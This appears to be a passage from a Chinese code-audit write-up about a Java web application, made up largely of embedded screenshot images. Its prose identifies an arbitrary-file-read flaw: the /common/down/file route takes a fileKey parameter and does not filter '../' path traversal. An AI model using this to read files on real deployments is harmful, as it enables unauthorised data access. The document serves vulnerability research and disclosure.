<p blockindex=28><img src=data:image/png;base64,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 truncated
|
||||
因为statArray其他的元素其实就是把模板文件读取一遍,然后在渲染出来。不执行sql操作。</p>
|
||||
<p blockindex=29><img src="data:image/png;base64,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 truncated
|
||||
<h2 blockindex=30>0x2 任意文件读取</h2>
|
||||
<p blockindex=31>路由监听/common/down/file 获取get请求的fileKey参数。</p>
|
||||
<p blockindex=32><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABqsAAAMHCAYAAACua21SAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3gU1d7A8e/spmfTC4GEJHQIIL13FCwooGLBgmLXq1dfvYq9Xdu1Xn2vehXbay8oKqKAIL0XCSQQWkhCEtI3ZZPdbHZ33j82hIRsS0hDfp/n4XnY2Tnn/ObMmTMnc3ZmlClDxqsACo0pTj613LpK3QdH651c3vhb5/k6i8RNdIqrGDwt33EOgdoQBkdcQCf/RPw1OhRsKKgo2EA9+X9Hy4xWA3mmY+wo3UiltdJNDI4jcByVs2hPSaM0zMFVGkfrqB6sr576SXWfVnWyhqM0jtZ1lrfDdZ2srHpYflPWdbRe3bpqoyUuttd9rs5Kcl03DYNxn6/qZPnprOu+jbRG+3AYneps3dNrG85jcJJvo8We7vPTb0cN1m3BtiGEEEIIIYQQQgghhGhfL77wEj8v+ZnNmze1ellK+05WAYqz6aj6657Zk1VNXldptMTDSaiWWddxCE2bsPKUs4mqxt85Wt7MCYamrOtkMsL+1dk6WdUaE1BNWbflJqua3j7URgv/ipNVHWEiUwghhBBCCCGEEEIIcfbQuPqy41xA7DiRuOL8Um5H5DpWB/MiHqY8jQg8mKhq+Sha35nTLjpGnK0VRcfYurbQtC09e+pFCCGEEEIIIYQQQgjRUbmcrGotnt/l0YZlteIV26bcQeNZ6qav6/4uJXffub/zpClc3XfieUzul3vybXPWbcqdMy3CQeYd8jgSQgghhBBCCCGEEEIIIZqoCZNVrXRpWq54N9AS0yqe59GE0lRqH//WcFKpqbuvcRrVnm+TMvJ0Qul0Ujd93bNCq1WI1HR9pzfB3Z7OhBiFEEIIIYQQQgghhBAdTbvcWdW6mn+xtMNcZvXwLhqPE7v5pkl3Mjl4QY56yj9Pv3P0wp/2uquqre+2a4rTC6ODbMRflNSuEEIIIYQQQgghhBBCnL5mTVa19+PH2lqbP/KtBUpr6uSWu0miRu+wUh1PP9Vf3+W02Sl3U7m7S8uzhwQ6Wr8p2m6vdtQ7Z/4KjxFs/1r8K5L3YAkhhBBCCCGEEEIIIVpPK91ZdaZcqmz5OJsy4dASkxPNeQyfs6Xu8nJ4l5Xqfmqq3soOH/nnebmnP2nYEnu8rfexo1zPDBLn2UBqTwghhBBCCCGEEEIIcbq82juA5lIBxYNlHUVTYlMBxUECz/Owr9m0+vAszYkL04qjha1w90VT76hqThpnjwD8q7zbqi3vamoTZ3Tw7UeqTQghhBBCCCGEEEII0VHV3Vn1V34kl8cX6ztCsE41/V1Uzc3J00mk5laXp2ndTTq17F1VHXjnOwito05A/VUfI9ha/UWL3HnnYftodR2hAQohhBBCCCGEEEIIIc5Imva/wuhp+W0TZ1vfTePsYrWzvFvqXVQtMWF1Yj13DwL0ZB3n8TW3fk7v3VbOl7ftoxvb9y1ap7NeazlT4hRCCCGEEEIIIYQQQgjhKa8jJcfbOwYhhBBCCCGEEEIIIYQQQghxlvIKCg5u7xhcqigvp6PHKIQQQrS1ivLy9g5BCCGEEEII0QJC/Ns7AvFXV2Zs7wiEEMI9jftVhBBCCCGEEEIIIYQQQgghhGgdMlklhBBCCCGEEEIIIYQQQggh2o1MVgkhhBBCCCGEEEIIIYQQQoh2I5NVQgghhBBCCCGEEEIIIYQQot14ufpSo9EQ1SmGAP9ANJqWndey2WxUGSspzM/DZrO1aN5CCCGEEEIIIYQQQgghhBDizOB0ssrHz5fY2AQ0itIqBWs0GnSBQQR005GTk4nZVN0q5QghhBBCCCGEEEIIIYQQQoiOy+HtUhqNplUnqhqUpSj2slr4zi0hhBBCCCGEEEIIIYQQQgjR8TmcIYqKjmmTiaq6IBSFqOiYNitPCCGEEEIIIYQQQgghhBBCdAwOJ6sCAgPbOo52KVMIIYQQQgghhBBCCCGEEEK0L8ePAVTa/pF87VGmEEIIIYQQQgghhBBCCCGEaF8yQySEEEIIIYQQQgghhBBCCCHajVdTE/Tt04eYzp0bLLNaraSkpKDX61ssMCGEEEIIIYQQQgghhBBCCPHX16TJqvPOO4/x48Y5/G7smLF8t+hb0tOPtkhgQgghhGhdWh8dYT2mE9RlKD4BUQCYqwqpyN2F/sgKrGZDO0coRNNImxaiZcixJM5k3v6hRJ9zPWHdzsUvJA4AU1k2+qOrKNjzGTXG0naOUIiWpfUNJSBxBv5RfcnZ/iEAsSNuxliYRlXGUqzV0ubF6ZFxgRCirSj9Bw5WT13Yo2cfhysveGgB6UfTWbToe1TVVrc8NCSEuXPnEhUVxbLflrFtx/ZmBXPk8IFGyyrKywkKDm5Wfi1NGxCAd2UlJkVp71CEEEKc5SrKy08rfVCX4cQMmY8hbw+GglTMhkIAfHRR6KL7o4s5h7w/P6Yid0dLhCtEq5M2LUTLkGNJnMnCekwjcfIzlGVuQJ+1CVPZMQD8QroSFj+WkITxZKx5Cv2R39s5UiEaCvFvXjq/uAmE972GyoJUDAWpGEszAPAPTSQwuj+66H6UpH2NKXt9ywUrzkhlxualk3GBEKItNenOKn9/PwoLCxtMVAGUlpXx4Ucfcflll3PRjIu4aMZFDtOXl1ew5JefOXTocPMj9oCqduOaV5/i/MjaBVYjxcczSFn1FV+tzmzWZJMaPYuX3ruFiN8e4ab3U04rPv+oHiSEm8hOy8YgE19CCCHaWFCX4XQadB3H//wcsyGvwXfVZTlUl+VQcXwPMYOuA3D6h4eqQtfRM+ldvpo/9lfULQ8fOJ0JXXJZu2wvpbXnOTW4D+dNCSHtp63k4Pzcp6ohDDh/LNo/f2VPoav1Aug6dDgDe8QRplRw/MBW1ifnY+lA51WVOEbPTqRg6XrSa7rW/f9ozenHqAYP4qrrB3L0y8/Yru8429xeWqpNA2gTx3Dx4CjHXxbs4ZeNR7G2UTur34Zaot04LEOOJTmW6jnTjiVpv9J+6wvrMY3EiY+RvuZ5TLUX7E+oKj5EVfEhio+upfvExwBcTlipagSjrpxN/yD7Z6shn6z0/ezZfZgSS/vVtarq6DVhCqMG9iBKKSXzz5X8sukYNR2qzffg/Jv6kv3lL6Saetb9f5+pBdp86Hju/sco9r/1Kn8UdJxtbi9+cRMI630Fx/d8RXXtxOwJRn0GRn0G5Tk76DzoGvTg0YSVqgbQ+ZzhJHWPI0SpIO/gVral5rfZ2McTKnEMuyiRwt/Xk1XTte7/x1qiX9UNYubcgWR99xnJpR1nm9tLS44LTugo5+6WGGd3lG1xRcYh4kyjaamMzGYzX3/zNT8vWcKatWsd/jMZq7hkxiUtVaQLXujCIomw5bJj+3Z2JB+mTDeA2Q+8wRMzopuXZXEq69au4Y+d2acdXcLsR3nlxesZdNo5CSGEEE2j9QkiZsh88pK/qfuDQ+sTgC5mECHxo/EJigHAbMgjL/kbYobMR+sT5DAvRQFr56FcOX0w3qr9Rm1V1TF8xpVccuUMhoecXNd34HSuGBqDpdH93KcKY+B553NOpPM1VO9ELrjvGR6+dgLddCq2gHjG3fQ0L/xtHBG4LcAjcRfexwOXJJ5eJpp4Rl8ykZ7+p/y/JahWLJYarC2zuWe0lmzTAIp3IEHBoQQFhxLRdxKXTBhARO3nIJ2vi6nWVtCEdtOcNivHEnIs1XOmHUvSfpH2W4+3XxiJk58hfd0rdRNVXn7BhCVOIqrPDPzDEgEwlWaQvu4VEic/g7dfmIscoxk15zqm9g0nPDyc2P6TufKB/+WzD5/k4h4+rb49jqh+fbn65U/43/tm0DdIxabrxQUPf8QXz82gcwu1+Z7XvMLr8/qdXiba3px3w8X09z/l/y2ihpoaswfjydYXGxdPVHSnRsujojsRGxff6uVr/MII73s1x5O/rJuoctxn55OXsojwvtegcdnm7f3q5L89w71XTaBroL1fHT3vaR69dRxhLdTGYqbdxx3nJ55eJko8w2ZMJNH3lP+3hNp+tSO0sfbW0uMCaP1zd5PO26d5TpZxCDIOEa2iSXdWuaOqKrt27XK5zuRJk1qySNey1vDu28uxKgqq2pNbP/g3sy6+iPil6+h94yR89m5CHzeWYXHHWfr2Mo4qCoHdx3Pe6CRifPSk71zDH3sK7L8gsdow6ovR1DtjBXYbz3ljkujsV8GRLb+xKlWPrd7sed33/hWkb13Oqr3FdBp3DRf2CQRtAhNvnE/k7sX8lFzWdnUihBDirBbWYxqGvL11f3D4hcQR3f9yDAX7sJor6NRvNobCfeiPrsNsyMOQt5ewHtMo2v+Dw/xy9+6n7Ny+9FPWsQfAZyB9upWhL+1OnyQfVm6pQVWhX7/e6PcvJf/EnVaqQkBUJ4LNxeSXme0zX6dQ/MLoFGqjOK+UGk6kg24zb2ZWyBZefXIR6VW1y38YwE2P3cONU1N47Y/yemVEE2QspqDSUpevqnqjC/OlurQCi3coMWE2igrKsdSW4RUQQlSnWGK9IgkNLaKytAKz6lOXRg2OJcaniJwis8ty3HFWB/XjO7WsOuUHWP5NBubS+vlpCOnUBX9TPvnlNQBo/YMIUoyUVtWLy1tHqL+Z0rJqUBSH6c4kLd2mLYdW8vkh+/+Dpy9g7LBkFv3fb5SfaKNu2nD9/WcNiCTSq4zC8tr69wunU7CZ4vwKLIrSYF0Co4gMNFKYb3D562VH+8tRmz15zDiLU44lQI6letrvWHJebypehHaKxKu8gCKjFyEhXlSWVmJBkfYL0n7riR50HWVZG+smqgIjexM/5l5KszZjMemJH/U3So9tIT/1e0ylGZRlbSR60HXkbP1fF7nWkPbzy7y2oXafaCIYdffL/POpmzg4/10OWk+2YV3nOEKNueSUnaxjr8BwQjTlFFfYl6nLine truncated
|
||||
跟进getPara函数发现其实就是封装好的getParameter函数。也没有过滤../关键字。</p>
|
||||
<p blockindex=33><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABRYAAADQCAYAAAByUj3QAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdWXMcx5bg+b97bBm5IrGvBMFVFLXepW51Ld1T0z1lYzPWb/Mp5pu12Tz0S7W1dVuX9VK3lrtJutoocQWJHcg9M3YPnweAEimRugRIiqJ0fmYyAVDI4eFxMpBx8ri7evPNN621FvFyFKZ44s/L8njMfc/7PrsjnsOdO3dfWFuW4+uvUC+szdeRtRalvh6DR8fFYtFKU5YlAFqffK2+HjdrLUorlFLY8tH7mIXHxvbp3z+pD1+1/8jX4nX0MCYUjqNxHAdrQSkwxpDnT74/f5+OY88if4aFEEKIF+z4T6z4Hly6dPFVd0GcQpqlX30d+MEr7In4sXAfPrTD8QO2eLEeHd9HPUyCPO2/C/FT8GhCD04Shur49aG0otFsoJUGoCwNw9EIW9rjBORjecJvJhWf5BvJxZMEpeM4GGMeO/Lh61JpSSr+WFiO/8Y9DJXjf/8Q/uapH1BfhBBCiB8R+dP6vZFn2tfLo3kfuXbiRVDn1i/ILfcVchyXRrNJmqbE0eRVd0cIIYQQQgghhBBCiGfiuq7/qvvwk6YdB9Rx1ZRcCyFePtdz8DznVXfjRyPPDUVu/vSBQgghhBBCCCF+dFzXk2TW